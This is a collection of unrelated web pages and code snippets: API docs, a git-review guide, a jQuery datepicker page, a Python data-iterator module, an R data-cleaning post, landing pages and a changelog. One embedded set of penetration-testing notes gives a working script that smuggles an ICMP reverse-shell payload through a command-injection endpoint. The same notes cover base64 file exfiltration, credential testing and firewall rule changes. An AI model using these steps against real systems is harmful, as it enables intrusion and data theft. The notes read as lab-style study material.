(hyperparam_df, history_df)¶
-
hardy.data_reporting.reporting.
summary_dataframe
(report_path)¶
-
hardy.data_reporting.reporting.
summary_report_plots
(report_path)¶ The function that plots the parallel coordinates between report name, layers, optimizer, activation function, kernel size, pooling and accuracy.
- report_path: str
string representing the location of parent report directory
plotly.graph
-
hardy.data_reporting.reporting.
summary_report_tables
(report_path)¶ The function that returns tables wiht the summary of the transformations used and they performnce
- report_path: str
string representing the location of parent report directory
- summary_dfpandas Dataframe
Table containing information of the transformations run, which data series they were applied to and their plot format
- tform_rank_dfpandas Dataframe
Table containing information of the run anme and its overall performance


Air Max Orange and White
Nike
$59.99
Shipping
Biling
Confirmation
Payment Method
Payment Detail
By clicking “Confirm payment” i agree to the companys´s terms of services
Confirm Payment: $59.99
Back


Setting a Workflow
How to set the workflow for an individual HTML module.
-
- Select the HTML Module Settings tab.
- At Workflow, select the workflow you wish to use from these options:
- Content Staging: Content staging allows content to be saved as a draft before it is published. Draft content will only be visible when edit mode is selected by users who can edit the module/page. In view mode the most recent published version of content will be displayed instead of the draft. This is the same for users with view permissions only. See "Publishing a Draft"
- Direct Publish: With the direct publish workflow any content that is saved on the Edit Content page or through the inline editor will be immediately visible to all users with permissions to view the module. Editing users will be able to see the content for both view and edit mode.
-
Click the OK button to confirm.


git-review
is a Python wrapper for many of the common Git commands used in
conjunction with Gerrit. It encapsulates many of the most common commands used,
in order to speed things up.
It’s possible to use Gerrit without using the git-review
tool. All the
commands we use below have their plain git
equivalents. However, the question
remains: why would you want to? The git-review
tool speeds things up, and is
used by a number of teams outside Intel (including MediaWiki and OpenStack).
This guide is borrows heavily from the original Openstack guide, found here:
https://wiki.openstack.org/wiki/Gerrit_Workflow
A word on workflows
Gerrit, like Git, is extremely flexible. There is no one true way to work with it. However, Git has two predominant “workflows”: the merge workflow, and the rebase workflow. Each of these have their pros and cons, but both work equally well with standard Git. This is not the case with Gerrit. While the former workflow is possible, it’s very awkward (Gerrit doesn’t handle merge commits very well). Hence, despite the issues that can occur from “rewriting history” in the rebase workflow, it’s the best option.
Initial steps
First, install the tool. On Fedora 16 and up:
$ dnf install git-review
Navigate to the project you wish to use, and ensure you can connect to the Gerrit server:
$ cd <repo>
$ git review -s
You may get a warning like so:
No '.gitreview' file found in this repository.
We don't know where your gerrit is. Please manually create
a remote named gerrit and try again.
If so, you likely have your Gerrit review server’s “remote” called origin
or
something similar. You can check this like so:
$ git remote -v
You’ll likely get something like so, where the url points to a Gerrit project:
origin <url> (fetch)
origin <url> (push)
Assuming this is the case, just rename the remote:
$ git remote rename origin gerrit
If this isn’t (i.e. you have more than one remote), you may want to rename the relevant remote or add a new one for Gerrit:
$ git remote add gerrit [url]
Making and uploading changesets
Checkout a feature branch using your teams naming conventions:
$ git checkout -b <topic_branch>
NOTE: You should always work on feature branches when working with Gerrit.
If you work on master
or development
, you’re going to get merge conflicts
when you pull in the latest changes from Gerrit/upstream.
Now make some changes: add some new files, delete old ones, do what you have to do. Following this, save the changes:
$ git commit -as # this is the same as `git add -u` and `git commit -as`
This should create a new commit. You can upload this changeset like so:
$ git remote update # to get latest changes
$ git review <upstream_branch>
NOTE: This will automatically rebase the change against the upstream master.
If you now go to Gerrit, you’ll see a new changeset there. Its “Branch” will
correspond with the value of <upstream_branch>
, while the “Topic” will
correspond with the value of <topic_branch>
(i.e. your local branch).
NOTE: In Gerrit, the “Branch” means the Git branch that the commit is meant for. However, the “Topic” has no bearing on the actual underlying repo. Instead it is merely used to gather similar changes together.
Reworking a changeset
No one’s perfect, and neither is your code. When you need to rework some, you
do so using the rebase
and commit --amend
tools. For example:
[make changes...]
$ git commit -a --amend
$ git review <upstream_branch>
Alternatively
$ git rebase -i <ancestor>
[make changes...]
$ git review <upstream_branch>
NOTE: If you delete a commit using rebase, you will need to manually abandon it. Unfortunately there doesn’t seem to be any way to avoid this.
Collaboration
If you want to review/rework someone else’s changes, it’s very easy to do. This is great for collaboration/pair-programming.
To check out someone else’s code, you’ll want the “change id”. When you have this, just use the following change:
$ git review -d <change_id>
This will checkout the change, and all changes that it depends on (i.e. the branch).


{% assign id = include.src | strip | remove: '.'| remove: '0' | remove: '1' | remove: '2' | remove: '3' | remove: '4' | remove: '5' | remove: '6' | remove: '7' | remove: '8' | remove: '9' | split: 'com/' %} {{ include.title }}
{{ include.title }}


The Basic Example Bootstrap Page with a
Responsive Fixed Width
Container
This is some text.
Some others text.
The Basic Example Bootstrap Page with a
Full Width
Container
This is some text.


Providing Feedback
Now that you are at the end of the interview process, it is time to consolidate notes and provide feedback to the candidate.
- Level 1: Verbal feedback to candidates at the end of the interview. Keep this feedback short, direct, concise focusing on key areas that candidates need to focus on immediately.
- Level 2: Written feedback provided online after closing the interview. At this level, provide consolidated, detailed feedback using the feedback form.
There are two levels where you provide feedback to the candidate:
- Provide balanced, objective, observed, specific and timely feedback.
- Relate your feedback to the job description for the specific position.
- Provide specific examples so that candidates can incorporate the feedback.
- Restrict your feedback to responses and areas that the candidate can improve upon.
- Avoid direct, negative feedback. Sandwich your feedback.
It is important to:


Far 2 Near
Geography
Far 2
Near
Connecting the world a tiny bit more :-)
Time in Eagan:
Time in Santiago de Compostela:
EAGAN WEATHER
SANTIAGO DE COMPOSTELA WEATHER


Foundation jQuery datepicker plugin!
Based on best available datepicker in this galaxy - bootstrap-datepicker:
Attached to a field with the format specified via options.
Attached to a field with the format specified via data tag and close button enabled.
As component.
With large margin
Limit the view mode to months
Attached to other element then field and using events to work with the date values.
Disabling dates in the past and dependent disabling.
| Check in: | Check out: |
|---|
Call the datepicker via javascript:
$('.fdatepicker').fdatepicker()
| Name | type | default | description |
|---|---|---|---|
| format | string | 'mm/dd/yyyy' | the date format, combination of d, dd, m, mm, yy, yyyy. |
| weekStart | integer | 0 | day of the week start. 0 for Sunday - 6 for Saturday |
| viewMode | string|integer | 0 = 'days' | set the start view mode. Accepts: 'days', 'months', 'years', 0 for days, 1 for months and 2 for years |
| minViewMode | string|integer | 0 = 'days' | set a limit for view mode. Accepts: 'days', 'months', 'years', 0 for days, 1 for months and 2 for years |
Format a component.

 <input class="span2" size="16" type="text" value="12-02-2012">

Initializes an datepicker.
Show the datepicker.
Hide the datepicker.
Updates the date picker's position relative to the element
Updates the date picker's value. It can be a string in the specified format or a Date object.
Datepicker class exposes a few events for manipulating the dates.
| Event | Description |
|---|---|
| show | This event fires immediately when the date picker is displayed. |
| hide | This event is fired immediately when the date picker is hidden. |
| changeDate | This event is fired when the date is changed. |
$('#dp5').fdatepicker() .on('changeDate', function(ev){ if (ev.date.valueOf() < startDate.valueOf()){ .... } });


docmeld
is running. PLEASE CHECK OUT THE STATUS for details.
If no error occurs, this page will be replaced with the generated HTML document.
TIPS: choose large font size and small page scale while printing to avoid thick lines rendered by KaTeX.
docmeld
© riteme 2019


Projects
“Anything one man can imagine, other men can make real.” ― Jules Verne
GitInspector
Jan 2019 -
Current
Universidad de los Andes
Datamining proyect to analize repositories of the university's "Team Software Development" course.
Bogotá, Colombia
Suffragium
Aug 2018 - Dec 2019
Universidad de los Andes
A digital election system capable of reading colombian ids to verify voter identity. This is the web version of the dashboard.
Bogotá, Colombia
Carpooling
Aug 2019
Universidad de la Sabana
The basic FrontEnd for the ITS prototype developed for the Universidad de la Sabana's Hackathon.


import numpy as np
from multiprocessing import Process, Queue
[docs]class DataIterator(object):
def __init__(self, *data, **params):
'''
Args:
fullbatch (bool): decides if the number of examples return after
every iteration should be always a full batch.
'''
self.data = data
self.batchsize = params['batchsize']
if 'fullbatch' in params:
self.fullbatch = params['fullbatch']
else:
self.fullbatch = False
def __iter__(self):
self.first = 0
return self
def __len__(self):
return len(self.data[0])
def __getitem__(self, key):
outs = []
for val in self.data:
outs.append(val[key])
return self.__class__(*outs, batchsize=self.batchsize, fullbatch=self.fullbatch)
[docs] def next(self):
'''for python 2.7'''
return self.__next__()
[docs]class SequentialIterator(DataIterator):
'''
Example:
when ``batchsize = 3`` then the generated index will be
``[0, 1, 2], [3, 4, 5], [6, 7, 8]``
'''
def __next__(self):
if self.fullbatch and self.first+self.batchsize > len(self):
raise StopIteration()
elif self.first >= len(self):
raise StopIteration()
outs = []
for val in self.data:
outs.append(val[self.first:self.first+self.batchsize])
self.first += self.batchsize
return outs
[docs]class StepIterator(DataIterator):
'''
Example:
when ``batchsize = 3``
``step = 1`` then the generated index wil be
``[0, 1, 2], [1, 2, 3], [2, 3, 4]``
'''
def __init__(self, *data, **params):
super(self, StepIterator).__init__(self, *data, **params)
self.step = params['step']
def __next__(self):
if self.fullbatch and self.first+self.batchsize > len(self):
raise StopIteration()
elif self.first >= len(self):
raise StopIteration()
outs = []
for val in self.data:
outs.append(val[self.first:self.first+self.batchsize])
self.first += self.step
return outs
[docs]def np_load_func(path):
with open(path, 'rb') as fin:
arr = np.load(fin)
return arr
[docs]class SimpleBlocks(object):
def __init__(self, data_paths, batchsize=32, load_func=np_load_func, allow_preload=False):
"""
This is class for processing blocks of data, whereby dataset is loaded
and unloaded into memory one block at a time.
Args:
data_paths (list or list of list): contains list of paths for data loading,
example:
[f1a.npy, f1b.npy, f1c.npy] or
[(f1a.npy, f1b.npy, f1c.npy), (f2a.npy, f2b.npy, f2c.npy)]
load_func (function): function for loading the data_paths, default to
numpy file loader
allow_preload (bool): by allowing preload, it will preload the next data block
while training at the same time on the current datablock,
this will reduce time but will also cost more memory.
"""
assert isinstance(data_paths, (list)), "data_paths is not a list"
self.data_paths = data_paths
self.batchsize = batchsize
self.load_func = load_func
self.allow_preload = allow_preload
self.q = Queue()
def __iter__(self):
self.files = iter(self.data_paths)
if self.allow_preload:
self.lastblock = False
bufile = next(self.files)
self.load_file(bufile, self.q)
return self
[docs] def next(self):
'''for python 2.7'''
return self.__next__()
def __next__(self):
if self.allow_preload:
if self.lastblock:
raise StopIteration
try:
arr = self.q.get(block=True, timeout=None)
self.iterator = SequentialIterator(*arr, batchsize=self.batchsize)
bufile = next(self.files)
p = Process(target=self.load_file, args=(bufile, self.q))
p.start()
except:
self.lastblock = True
else:
fpath = next(self.files)
arr = self.load_file(fpath)
self.iterator = SequentialIterator(*arr, batchsize=self.batchsize)
return self.iterator
[docs] def load_file(self, paths, queue=None):
'''
Args:
paths (list or str): paths to be loaded
'''
data = []
if isinstance(paths, (list, tuple)):
for path in paths:
data.append(self.load_func(path))
else:
data.append(self.load_func(paths))
if queue:
queue.put(data)
return data
@property
def nblocks(self):
return len(self.data_paths)
[docs]class DataBlocks(SimpleBlocks):
def __init__(self, data_paths, train_valid_ratio=[5,1], batchsize=32, load_func=np_load_func, allow_preload=False):
"""
This is class for processing blocks of data, whereby dataset is loaded
and unloaded into memory and split into train and valid one block at a time.
Args:
data_paths (list or list of list): contains list of paths for data loading,
example:
[f1a.npy, f1b.npy, f1c.npy] or
[(f1a.npy, f1b.npy, f1c.npy), (f2a.npy, f2b.npy, f2c.npy)]
train_valid_ratio (list): ratio for splitting the data into train and valid
load_func (function): function for loading the data_paths, default to
numpy file loader
allow_preload (bool): by allowing preload, it will preload the next data block
while training at the same time on the current datablock,
this will reduce time but will also cost more memory.
"""
assert isinstance(data_paths, (list)), "data_paths is not a list"
self.data_paths = data_paths
self.train_valid_ratio = train_valid_ratio
self.batchsize = batchsize
self.load_func = load_func
self.allow_preload = allow_preload
self.q = Queue()
def __next__(self):
if self.allow_preload:
if self.lastblock:
raise StopIteration
try:
train, valid = self.q.get(block=True, timeout=None)
self.train_iterator = SequentialIterator(*train, batchsize=self.batchsize)
self.valid_iterator = SequentialIterator(*valid, batchsize=self.batchsize)
bufile = next(self.files)
p = Process(target=self.load_file, args=(bufile, self.q))
p.start()
except:
self.lastblock = True
else:
fpath = next(self.files)
train, valid = self.load_file(fpath)
self.train_iterator = SequentialIterator(*train, batchsize=self.batchsize)
self.valid_iterator = SequentialIterator(*valid, batchsize=self.batchsize)
return self.train_iterator, self.valid_iterator
[docs] def load_file(self, paths, queue=None):
'''
Args:
paths (list or str): paths to be loaded
'''
train = []
valid = []
if isinstance(paths, (list, tuple)):
for path in paths:
X = self.load_func(path)
num_train = len(X) * self.train_valid_ratio[0] * 1.0 / sum(self.train_valid_ratio)
num_train = int(num_train)
train.append(X[:num_train])
valid.append(X[num_train:])
else:
X = self.load_func(paths)
num_train = len(X) * self.train_valid_ratio[0] * 1.0 / sum(self.train_valid_ratio)
num_train = int(num_train)
train.append(X[:num_train])
valid.append(X[num_train:])
data = [train, valid]
if queue:
queue.put(data)
return data


Okta SE demo app 1.1
This is a demo app for Okta Sales Engineers.
End all sessions
See apps
test message


| Introduction |
Aren't you tired of all those annoying sponsors PopUp's that get displayed when you visit some WEB sites?

With PopUp Killer you will be able to browse the web without being molested by those annoying ads that popup when you visit some web sites.
With features such as the Smart! engine, PopUp Killer can identify possible popups and close them even before you can see them.
You can also control the amount of browser windows you permit to be opened at the same time, feature that becomes really handy when browsing really annoying sites that open new pages when you close a browser window.
PopUp Killer is also fun, because you can configure it to produce sounds when it kills a popup.
This new release is even able to kill the new GeoCities box and close those annoying dialogs presented by some web sites that force you click on them to continue.
Since early 1994, PopUp Killer has been the most advanced and featured popup killing machine... but of course, the only way for you to experience how powerful it is, and how much have you been missing for not using it, is to download it and run it for a test drive. We're sure you'll be surprised!


required
Username is too short.
Username is too long.
Enter a valid email
{{message}}
Passwords must be between 8 and 20 characters.
Must contain one lower & uppercase letter, and one non-alpha character (a number or a symbol.)


Instasend | Masternodes | Darksend
Fulfilling the cryptocurrency dream.
The network is secured through PoW and staking, while using incentivized "Masternodes" for services such as instant transactions and governance. Each one requires 42.500 AEVO as collateral. They receive 75% block rewards. 25% going to the stakers.
Use Darksend to keep your payments private and untraceable.
Aevo uses the Scrypt hashing algorithm for its network, providing maximum security and stability.
Building together through crypto!
425.000.000 AEVO
120 seconds
42.500 AEVO
Scrypt
12 hours
1.0%


- 👋 Hey there! My name is Sai Praveen.
- 🏢 I am a Software Engineer at Goldman Sachs, Bengaluru.
- 🎓 I graduated with an M.Sc. in Theoretical Computer Science from PSG College of Technology, Coimbatore.
- 🔭 I’m currently working on software supply chain component analysis.
- 🌱 I’m currently learning to develop cross-platform applications.
- 💻 When I’m not working, I like to read cool articles and blogs around the Internet, work on my side projects or binge watch post apocalyptic TV series.
- 💬 Ask me about: software development, cloud deployment, open-source software, tech news.
- 📫 How to reach me: Email or DM on LinkedIn.
- ⚡ Fun fact: I can read, write and speak 5 languages.


Configuration for an instance of an entity store
Sets the default cache time in milliseconds
Tells the store how to access the unique ID of an entity passed to it
A valid type that can be keyed against
Generated using TypeDoc
Configuration for an instance of an entity store


Sign In
Unlimited movies, TV shows and more.
All of Netflix, starting at just ₹ 199.
Ready to watch? Enter your email to create or restart your membership.
GET STARTED >
Create profiles for kids.
Send kids on adventures with their favourite characters in a space made just for them—free with your membership.
Enjoy on your TV.
Watch on smart TVs, PlayStation, Xbox, Chromecast, Apple TV, Blu-ray players and more.
Download your shows to watch offline.
Save your favourites easily and always have something to watch.
Watch everywhere.
Stream unlimited movies and TV shows on your phone, tablet, laptop, and TV.
Frequently Asked Questions
What is Netflix?
How much does Netflix cost?
Where can I watch?
How do I cancel?
What can I watch on Netflix?
Is Netflix good for kids?
Ready to watch? Enter your email to create or restart your membership.
GET STARTED >


:::sidecode
## Heading
Optional description
```javascript
//Sample javascript code
console.log("Hello world!");
```
:::
Sidecode is special formatting block which displays content on right dark side (on desktop resolution). As it's name suggests it is designed for code examples aside of descriptive section contents.
If you are browsing this site in desktop resolution you can notice sidecode blocks aside of entire page.
To define sidecode in Markdown you can use :::sidecode
block notation as example on right side demonstrates.


Ingredients
- Baguette, roll, or sandwich bread
- Marinated tofu, sliced
- Peeled carrot
- Peeled daikon
- Cilantro
- Lovage
- Sliced Jalapeño
- Oil or other dressing (optional)
Instructions
- Dress the bread, if desired, and top with remaining ingredients.
Pictures
Bahn Mi on plate


Test for Remote File Inclusion
Test to see if it can reach itself instead? Success!
The site is requesting another site in a parameter, and we can specify it's own localhost to achieve SSRF
if using a url as an argument in a url (funky), make sure to only have one "?" (ie url encode the second one)
Testing IIS or Windows, a nifty trick is to use
powershell exit <num code>
ie
powershell exit 13
Will echo 13. This can be useful if other commands are failing (ie hostname) or filtering is in place
C:\Temp\ #directory usually exists
tcpdump filter on tcp[tcpflags] == tcp-syn #see when something first initiates a TCP connection to us
tcpdump filter on icmp #see when something pings us
Egress filter checker, if you have command injection, attempt to do a callback on every port.
There are egress check tools if you can get one onto the box
Windows ping, make sure it's -n for num count
Time for ICMP shell
Manually convert to Base64
Linux powershell:
ps> $RevShell = Get-Content -Raw ./Invoke-PowerShellIcmp.ps1 #Raw is needed for line breaks
ps> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($RevShell)
ps> $Encoded = [Convert]::ToBase64String($bytes)
ps> $Encoded | Out-File icmp.ps2.b64
Target
$Decode = [System.Text.Encoding]::Unicode.GetString([System.Conver}::FromBase64String($Encoded))
if you don't want to struggle iwth UTF-16 just create a standard b64 file and use certutil.exe on windows to decode the file
Now we want to send small chunks, line by line. Linux has a built in tool called 'fold' to handle the formatting.
fold -w 120 icmp.ps2.b64 #-w for width
Also need to ensure there is no '+' since some tools will not encode it (and + over a URL is space and will break the payload)
Double encoding may only be needed in this case because the payload goes in nested URLs
script to send the payload
------------------------------------------------------------------------------
#!/bin/bash
#send shell
export IFS=$'\n' #IFS normally loop by character, but need to go by full line
for i in $(cat icmp.ps2.b64); do- ippsec="echo $i >> C;\Temp\ippsec-shell.ps2
- curl -v -G -X GET 'http://web:62696/test.asp?u=http://<IP_ADDRESS>/cmd.asp' --data-urlencode "xcmd=$ippsec"
done
#decode payload and write shell
curl -v -G -X GET 'http://web:62696/test.asp?u=http://<IP_ADDRESS>/cmd.asp' --data-urlencode "xcmd=powershell $x=Get-Content -Raw C:\Temp\ippsec-shell.ps2; $decode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($x)); $decode > C:\Temp\ippsec-decoded.ps2"
#exec shell
curl -v -G -X GET 'http://web:62696/test.asp?u=http://<IP_ADDRESS>/cmd.asp' --data-urlencode "xcmd=powershell $x=powershell C:\temp\ippsec-decoded.ps2"
------------------------------------------------------------------------------
Powershell Get-ACL.Owner to get the owner. Get-ACL is a very nice command.
Get a ZIP file (or any file)?
$BackupZip = Get-Content -Raw C:\Users\Decoder.minion\Desktop\backup.zip
$bytes = [System.Text.Encoding]::Unicode.GetBytes($BackupZip)
$encoded = [Convert]::ToBase64String($bytes)
Now you can copy and paste if your scrollback is large enough
If you have issues decoding the data, it may need a conversion from UTF-16 (powershell default) to UTF-8. Linux can use iconv
iconv -f UTF-16 -t UTF-8 backup.zip > backup_fixed.zip
(This really may not work though)
Long way, using powershell to unzip/extract
ps> Add-Type -Assembly 'system.io.compression.filesystem';[io.compression.zipfile]::ExtractToDirectory("C:\Users\decoder.minion\Desktop\backup.zip","C:\Temp\")
The manual way to look at file streams on Windows with Powershell is: Get-Item -Stream
Get-Item -Stream * C:\Users\decoder.minion\Desktop\backup.zip
Get-Content C;\Users\decoder.minion\Desktop\backup.zip -Stream 'pass'
"Easiest" way to test for user passwords (maybe in a bad/non-stable shell) is with net use
net use y: \\localhost\c$ /user:adminsitrator <pass>
If it works, the pass works and you can browse with permissions
Working with Invoke-Command
#Get your pass / creds as a secure string. Ensure user is domain\user or .\user or user
$user = '.\administrator'; $pw = '1234test'; $secpw = ConvertTo-SecureString $pw -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential $user, $secpw
Invoke-Command -Computername localhost -Credential $cred -ScriptBlock { whoami }
Working with firewall
New-NetFirewallRule -DisplayName <name> -RemoteAddress <ip_address> -Direction inbound -Action allow
New


WWOOF stands for World Wide Opportunities on Organic Farms
WWOOF is a worldwide movement linking volunteers with organic farmers and growers to promote cultural and educational experiences based on trust and non-monetary exchange, thereby helping to build a sustainable, global community.
As a volunteer (or WWOOFer as we call them) you will live alongside your host helping with daily tasks and experiencing life as a farmer.
As a host farm you will open your home to receive visitors from your own country or abroad who want to connect with the land and support the organic movement.
Discover the locations of Wwoof farms in the map below
WWOOF specialises in linking people who are passionate about healthy food, healthy living and a healthy planet. Join us, show your support for the organic movement and start learning (or sharing) ways of living a more sustainable life. As a member you will be plugged into an international network of like-minded people, with staff on the ground in 60+ countries ready to offer local advice and support.
First you need to decide where in the world you want to go! You can see the complete list of destinations on the locations page. Sign up as a volunteer on the WWOOF and then you can start contacting hosts to arrange your visit. If you want to visit more than one country you will need to sign up as a volunteer in each country you plan to visit. Also, you are responsible for obtaining your Visa and paying for your own transportation & personal expenses. We do not make arrangements for you, instead you will make contact with the hosts yourself.


--- layout: home title: BitByteYum - Brian Anderson ---
I am Brian Anderson and can be found at twitter, github and linkedIn.
{{ last.content | truncatewords: 110 }}
Other Articles


Enter your email for resetting password.
Please enter correct email!
Please check your email inbox, password reset instruction is sent!


--- title: 'Public School Data is Great, But You Have to Clean It First' author: Ryan Estrellado date: '2018-01-08' slug: demonstration-cleaning-your-data categories: [] tags: [rstats, education] ---
Using public school data can help school districts see the bigger picture of what is going on. So why don’t we see more districts taking advantage of this information gold mine? The datasets available from federal and state governments are often messy in their current form. This raw data has to be cleaned before it can be useful and school districts don’t often have the staff or time to clean large datasets or groups of large datasets. Here are two examples of really useful datasets, but in their raw, messy form:
Raw data is a treasure chest of information, but it takes time to clean them up in a fast and accurate manner. I wrote this post to demonstrate how I clean raw data before delivering it to a client in a more useful form.
This example uses a dataset of special education dispute resolution data from the US Department of Education’s website.
This dataset counts the number of complaints written to state departments of education during the 2014-2015 school year. It includes related dispute resolution outcomes. All of the counts are organized by state.
Here’s the data as-is, if you imported it into your spreadsheet software without cleaning it:
Here’s the same dataset after I’ve cleaned it:
I use a programming language called R. R programming allows me to work faster by doing the same steps repeatedly to clean a lot of datasets. Instead of manually cleaning data in a spreadsheet with several steps, I have the steps automated in R. This way, if a client needs a year’s worth of special education data and decides later they want the last ten years for comparison, I can apply the recipe quickly and they can jump right to exploring their data.
If you’re interested in what this process looks like, here’s a more detailed explanation. I’ve also included an example visualization of the dispute resolution data that results from the cleaned dataset. All the code for this post can be found in its entirety on my GitHub page.
First, we’ll have a look at the 2014-2015 dispute resolution data exactly as it is when you download it from the US Department of Education. Notice that when we load the data into memory, R immediately throws a warning about the number of missing column names. Column names will frequently need cleaning because they are often out of order, missing, or not named in a way that is easy to understand.
 WSC … WSC … WSC … WSC … WSC … WSC … WSC …
## 5 2014-2015 Alabama 7 5 4 4 1 0 0 2
## 6 2014-2015 Alaska 10 10 5 7 3 0 0 0
## 7 2014-2015 American … 0 0 0 0 0 0 0 0
## 8 2014-2015 Arizona 80 52 36 52 0 0 0 28
## 9 2014-2015 Arkansas 19 9 9 9 0 0 0 10
## 10 2014-2015 Bureau of… 11 9 9 0 0 0 0 2
## # … with 23 more variables: X11 <chr>, X12 <chr>, X13 <chr>, X14 <chr>,
## # X15 <chr>, X16 <chr>, X17 <chr>, X18 <chr>, X19 <chr>, X20 <chr>,
## # X21 <chr>, X22 <chr>, X23 <chr>, X24 <chr>, X25 <chr>, X26 <chr>,
## # X27 <chr>, X28 <chr>, X29 <chr>, X30 <chr>, X31 <chr>, X32 <chr>, X33 <chr>
You can download the whole dataset here so you can inspect it further. You will notice right away that the column labels are pushed down a few rows because the extraction date is at the top instead. That creates a lot of empty space, which is why you see a lot of NA
values and X
s as column names. You can also see this in the screenshot of the raw data at the start of the post, which gives you a sense of what it would look like if you imported it into your favorite spreadsheet program.
You will notice that there are thirty one distinct categories with names that don’t immediately describe what the numbers below them mean. For example, Written, Signed Complaints (WSC) Total (1)
are the total count of written complaints submitted to the state agency, but might be easier to look at (if not more descriptive) by using something like written_complaints
.
But let’s imagine you only want to know about the total number of complaints, the number of complaints that were ajudicated, the number of cases that were pending, and the number that were dismissed. We can make this dataset easier to look at by removing all columns except the four we want. We can also gather the counts up into two columns: one for the thing you are counting, such as total complaints, and one for the count itself. Finally, let’s say we are only interested in the states that have the ten highest counts of total complaints. Here are the first 10 lines of the dataset after we clean it this way:
dr <- read_csv(url, skip = 4) %>%
select(State,
Total_Complaints = `Due Process Complaints (DPC) Total (3)`,
Settlement = `DPC Resolution Meetings - Written Settlement Agreements (3.1a)`,
Adjudicated = `DPC Hearings (fully adjudicated) Total (3.2)`,
Pending = `DPC Pending (3.3)`,
Dismissed = `DPC Withdrawn or Dismissed (3.4)`) %>%
filter(State != "US, Outlying Areas, and Freely Associated States") %>%
arrange(desc(Total_Complaints)) %>%
filter(min_rank(desc(Total_Complaints)) <= 10) %>%
gather(Category, Count, -State)
dr
## # A tibble: 50 x 3
## State Category Count
## <chr> <chr> <dbl>
## 1 New York Total_Complaints 5170
## 2 California Total_Complaints 3714
## 3 Puerto Rico Total_Complaints 2354
## 4 New Jersey Total_Complaints 1211
## 5 Pennsylvania Total_Complaints 804
## 6 Massachusetts Total_Complaints 492
## 7 District of Columbia Total_Complaints 457
## 8 Texas Total_Complaints 370
## 9 Illinois Total_Complaints 320
## 10 Connecticut Total_Complaints 250
## # … with 40 more rows
Much easier to look at! Now you see only the data that helps you answer the questions you want. You can download the cleaned dataset here so you can explore it further.
When data is cleaned in this way, you will have a much easier time sorting and building visualizations in Excel or with programming languages like R and Python. Now that the data is cleaned, here is a quick visualization that compares the counts for the states that have the ten highest total complaints submitted:
ggplot(data = dr,
aes(x = State, y = Count)) +
geom_point(color = "cyan4", size = 3.0) +
coord_flip() +
facet_wrap(~Category) +
labs(
title = "Exploring Dispute Resolution Counts",
subtitle = "Data: 2014-2015 Dispute Resolution Data",
x = "",
y = "")
This was a very short explanation of what data cleaning is and why it is useful. For an infinitely more thorough explanation of data cleaning theory, I recommend Hadley Wickham’s legenday paper on tidy data cleaning.


Sparsh 2015
The Techno - Cultural Fest
Events
Get thrilled beyond measure.
And I thought my jokes were bad.
See more >>
'Goonj' Singing Night
Where words fail, music speaks. Hindustani, Classical, Symphony, Orchestra, Opera, Heavy Metal, Punk rock. You name it, you get it. This is the night when the entire college congregates to witness magic unfold before their eyes.
BLAHHHHHHH
'Macarena' Dancing Night
From Bharatnatyam in the south to Bhangra in the North; Garba in the west to Chauu in the East. Also mired in the concoctionwe have western dancing styles like hip-hop, salsa , jazz, boogie and rumba where the students bring out the essence of various cultures through their dances.
BURPPPPPP
‘Panache’ Fashion Night
It is one of the most awaited nights in the Sparsh, where students get a chance to oomph up the glamour quotient on the ramp. This night gives you the perfect amalgam of beauty and brains.
LOLOLOL
'Grande Sinfona' Celebrity Night
I was too lazy to copy any more text.
TEEHEE
Social Causes
Pffft Whatever
:/
Campus Ambassador
Laziness Redefined
:/
Social Causes
Pffft Whatever :/


Vid Code
Sign in
Sign up
Video URL:
Upload
Get Started
Hello World
Filters
Motion
Editing
Advanced Graphics
Pixelate
Blur
Hue
Invert
Alpha
Film Grain
Blur
Vignette
Play/Pause
Code Edit
Import a Video


InstaTech Service Change Log
Version 1.5.3
- Updated packages.
- Bug fixes related to move to Azure.
Version 1.5.2
- Modified heartbeat and error recovery.
Version 1.5.1
- Added ability to customize icon, background image, company name, and websocket port.
Version 1.5.0
- Removed SSL requirement. A warning will now display if the connection isn't secure.
Version 1.4.4
- Replaced JSON.NET with custom JSON class.
- Fixed bug with key combinations using Shift, Control, and Alt modifiers.
Version 1.4.3
- Fixed bug with unattended service when no instance of explorer.exe is running.
Version 1.4.2
- Added DPI awareness.
- Removed auto-updating for one-time service upgrades.
Version 1.4.1
- Fixed a bug with multi-monitor setups.
Version 1.4.0
- Now works on Windows 7, thanks to a new websocket library.
Version 1.3.6
- Changed data transfer process to improve performance on slower connections.
- Increased maximum virtual screen size.
Version 1.3.5
-
Fixed auto-update bug.
-
Improved cursor position accuracy on computers without monitors.
Version 1.3.4
-
Improved reliability of uninstall process.
-
Removed redundant -update switch. -Install does both.
Version 1.3.3
-
Fixed a bug with the auto-update feature of the service client.
Version 1.3.2
-
Added persistent sessions to the interactive console.
Version 1.3.1
-
Fixed a bug with escaping quotes in interactive PowerShell console.
Version 1.3.0
- Added interactive scripting.
- Fixed a bug with file deployment processes not exiting.
- Fixed a bug when sending clipboard via Windows service.
- Increased file size limit of remote control file transfer.
- Fixed a bug that could cause the session to disconnect for a non-elevated client when the lock screen or UAC desktop is opened.
Version 1.2.0
- Merged the InstaTech Service into the InstaTech Client.
- Added "Upgrade to Service" in the options menu. This will perform a one-time upgrade, and the service is removed afterward.
- Added "Unattended Access" in the options menu to install/uninstall the service.
- Added -install, -uninstall, and -update command line switches for controlling the service.
- Added UAC handling to prevent cursor from getting stuck on UAC prompts (which occurs when not running as a service).
- Added notification banner that displays when remoted in via Unattended Mode.
- Miscellaneous UI fixes and tweaks.
Version 1.1.0
- Added "follow cursor" to automatically scroll browser window.
- Added Ctrl + Alt + Del.
- Fixed wheel input.
- Other refactorings.
Version 1.0.2
- Official release.
- Added more keybinds.
- Bug fixes.
Version 0.9.0